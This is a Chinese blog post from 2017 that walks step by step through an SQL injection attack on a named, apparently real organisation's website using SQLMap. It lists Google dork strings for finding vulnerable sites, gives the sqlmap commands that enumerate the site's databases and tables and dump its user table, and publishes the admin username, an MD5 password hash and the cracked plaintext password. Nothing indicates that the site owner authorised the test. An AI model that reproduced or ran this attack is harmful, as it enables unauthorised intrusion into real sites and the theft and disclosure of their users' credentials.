使用SQLMap对网站和数据库进行SQL注入攻击

by LauCyun Jan 23,2017 22:55:38 18,419 views

之前在wooyun、freebuf上看了一些关于SQLMap的文章,受益匪浅,为此分享一个实战过程。

本文我将向介绍如何借助SQLMap来渗透一个网站(更准确的说应该是数据库),以及提取出用户名和密码信息。

0x1 定位注入的网站

通常这是最枯燥、最耗时的一步,如果你已经知道如何使用Google Dorks(Google dorks sql insection:谷歌傻瓜式SQL注入)或许会有些头绪,但是假如你还没有整理过用于Google搜索的那些字符串的话,可以考虑复制下面的条目,等待谷歌的搜索结果。

1 利用Google Dorks字符串找到可注入的网站

这个列表很长,如果你也懂得SQL,那么你也可以添加新的条目。

Google Dork Google Dork Google Dork
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id=
inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id=
inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID=
inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?=
inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id=
inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id=
inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id=
inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id=
inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id=
inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id=
inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id=
inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id=
inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id=
inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id=
inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id=
inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:channel_id=
inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id=
inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id=
inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id=
inurl:news.php?id= inurl:participant.php?id=  
inurl:avd_start.php?avd= inurl:download.php?id=  
inurl:event.php?id= inurl:main.php?id=  
inurl:product-item.php?id= inurl:review.php?id=  
inurl:sql.php?id= inurl:chappies.php?id=  
inurl:material.php?id= inurl:read.php?id=  
inurl:clanek.php4?id= inurl:prod_detail.php?id=  
inurl:announce.php?id= inurl:viewphoto.php?id=  
inurl:chappies.php?id= inurl:article.php?id=  
inurl:read.php?id= inurl:person.php?id=  
inurl:viewapp.php?id= inurl:productinfo.php?id=  
inurl:viewphoto.php?id= inurl:showimg.php?id=  
inurl:rub.php?idr= inurl:view.php?id=  
inurl:galeri_info.php?l= inurl:website.php?id=  

除了Google之外,还可以借助ShodanZoomEye等网络空间搜索引擎。

2 初始验证网站是否可以进行SQL注入

上面的字符串搜索之后,也许会得到成百上千的结果,那么如何判断这些网站是否可以进行SQLMap的注入呢?有很多种方法,我相信大家会争论哪种才是最好的,但是对我而言下面的方法是最简单和最有效的。

我们假设你使用了字符串:inurl:item_id=,然后其中一个结果的网站是:

http://www.dmcsee.org/en/countries/?item_id=5

在后面添加添加一个单引号’之后,URL成为了:

http://www.dmcsee.org/en/countries/?item_id=5'

如果页面返回一个SQL错误,说明页面存在SQL注入点;如果页面加载正常显示或者重定向到一个不同的页面,跳过这个网站,用同样的方法去测试下一个网站吧!

PS:现在比较多的可以使用’and 1=1’、’and 1=0’、‘or 1=1’、‘or 1=0’等测试注入点的存在。

如图1所示是手动测试时的SQL错误截图:


图1 手动测试注入点

不同的数据库返回的SQL错误或许会有不同,比如:

  • Microsoft SQL Server
    字符串 '1'' 后的引号不完整。
    '1'' 附近有语法错误。
    说明: 执行当前 Web 请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。 
    异常详细信息: System.Data.SqlClient.SqlException: 字符串 '1'' 后的引号不完整。
    '1'' 附近有语法错误。
    源错误: 
    执行当前 Web 请求期间生成了未处理的异常。可以使用下面的异常堆栈跟踪信息确定有关异常原因和发生位置的信息。
    
    Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
     
    [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1:
    Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’.
    
    Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code.
    Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’
  • MySQL
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12 Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12
  • Oracle
    java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208) Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated
  • PostgreSQL
    Query failed: ERROR: unterminated quoted string at or near “‘’’”

通过SQLMap测试完毕后,提示get方式的item_id参数存在注入,并且有两种注入方式:基于布尔的盲注(boolean-based blind)和基于时间的盲注(AND/OR time-based blind),如图2所示:


图2 SQLMap测试出的注入点

0x2 列出DBMS数据库

正如图1所示,找到了一个存在SQL注入点的网站,现在需要列出所有的数据库(有时这也称为枚举列数)。

运行下面的命令,参数是你找到的存在注入点的网址:

python sqlmap.py -u "http://www.dmcsee.org/en/countries/?item_id=5" --dbs

如图3所示,一共列举出2个库,其中的information_schema是几乎所有MySQL数据库默认的标准数据库,所以感兴趣的地方主要在dmcseems数据库上。


图3 枚举DBMS数据库

0x3 列出目标数据库的表

现在需要知道在数据库dmcseems中都有哪些表,为了弄清这些信息,我们使用下面的命令:

python sqlmap.py -u "http://www.dmcsee.org/en/countries/?item_id=5" -D dmcseems --tables

发现这个数据库有41张表:

[23:14:11] [INFO] fetching tables for database: 'dmcseems'
[23:14:11] [INFO] fetching number of tables for database 'dmcseems'
[23:14:11] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:14:11] [INFO] retrieved: 

[23:14:12] [WARNING] potential permission problems detected ('Permission denied')
41
[23:14:15] [INFO] retrieved: _cache
[23:14:35] [INFO] retrieved: _content_plugin
[23:15:15] [INFO] retrieved: _content_position
[23:15:38] [INFO] retrieved: _language
[23:16:10] [INFO] retrieved: _menu_type
[23:16:45] [INFO] retrieved: cm_field
[23:17:23] [INFO] retrieved: cm_field_privelege
[23:18:17] [INFO] retrieved: cm_field_type
[23:18:37] [INFO] retrieved: cm_field_validation
[23:19:20] [INFO] retrieved: cm_group
[23:19:37] [INFO] retrieved: cm_help
[23:19:54] [INFO] retrieved: cm_relation
[23:20:33] [INFO] retrieved: cm_table
[23:21:05] [INFO] retrieved: cm_table_privelege
[23:21:52] [INFO] retrieved: cm_user
[23:22:16] [INFO] retrieved: cm_user_related
[23:22:49] [INFO] retrieved: cm_view_log
[23:23:28] [INFO] retrieved: cm_workflow_data
[23:24:26] [INFO] retrieved: cm_workflow_step
[23:24:45] [INFO] retrieved: content
[23:25:03] [INFO] retrieved: content_translation
[23:25:45] [INFO] retrieved: dictionary
[23:26:23] [INFO] retrieved: dictionary_translation
[23:28:02] [INFO] retrieved: file
[23:28:29] [INFO] retrieved: file_translation
[23:31:54] [INFO] retrieved: item
[23:32:09] [INFO] retrieved: item_child
[23:32:31] [INFO] retrieved: item_child_translation
[23:33:22] [INFO] retrieved: item_group
[23:33:44] [INFO] retrieved: item_group_translation
[23:34:32] [INFO] retrieved: item_translation
[23:35:08] [INFO] retrieved: link
[23:35:31] [INFO] retrieved: links_mtm_menu
[23:36:05] [INFO] retrieved: menu
[23:36:22] [INFO] retrieved: menu_translation
[23:37:04] [INFO] retrieved: news
[23:37:15] [INFO] retrieved: news_translation
[23:37:58] [INFO] retrieved: picture
[23:38:31] [INFO] retrieved: site_users
[23:39:04] [INFO] retrieved: template
[23:39:30] [INFO] retrieved: template_translation

数据库dmcseems的所有数据库表如图4所示:


图4 列举目标数据库的表

显而易见,感兴趣的地方主要在表cm_user中,因为这张表中可能包含着数据库的用户名和密码。

0x4 列出指定数据库中指定表的列

现在需要列出数据库dmcseems中表cm_user的所有列,使用SQLMap进行这一步会非常简单,运行如下命令:

python sqlmap.py -u "http://www.dmcsee.org/en/countries/?item_id=5" -D dmcseems -T cm_user --columns

发现这张数据库表中有7个字段,如图5所示:


图5 列出数据库dmcseems中表cm_user的所有字段

哈哈!其中的usernameemailpassword字段就是要找的字段Star-StruckStar-StruckStar-Struck

0x5 读取指定数据库中指定表的列

接着,需要读取数据库dmcseems中表cm_userusernameemailpassword字段的值,运行如下命令:

python sqlmap.py -u "http://www.dmcsee.org/en/countries/?item_id=5" -D dmcseems -T cm_user -C "username,email,password" --dump 

发现数据库表cm_user中有2条记录,如图6所示:


图6 读取数据库dmcseems中表cm_user中的数据

虽然得到了password字段的值,但是密码却是HASH值,所以现在需要对其解密。

0x6 破解密码

先破解username字段的值是adminpassword字段的值是3364f247193f58a3551c995891b20353中的HASH值,首先应当判断HASH的类型。

在Kali Linux提供了可以用来鉴别HASH类型的工具,在终端输入如下命令:

hash-identifier

然后根据提示输入HASH值即可,结果如图7所示:


图7 识别HASH值类型
 

所以,3364f247193f58a3551c995891b20353是一个MD5加密后的密文。

接着,借助http://cmd5.com/对其进行破解,如图8所示:


图8 CMD5

现在得到了破解的密码:mju789,接下来就可以使用这个用户的身份登录啦Smiling Face with Heart-EyesSmiling Face with Heart-EyesSmiling Face with Heart-Eyes

如果http://cmd5.com/破解不了的话,可以通过hashcat对md5进行破解Clapping HandsClapping HandsClapping Hands

Tags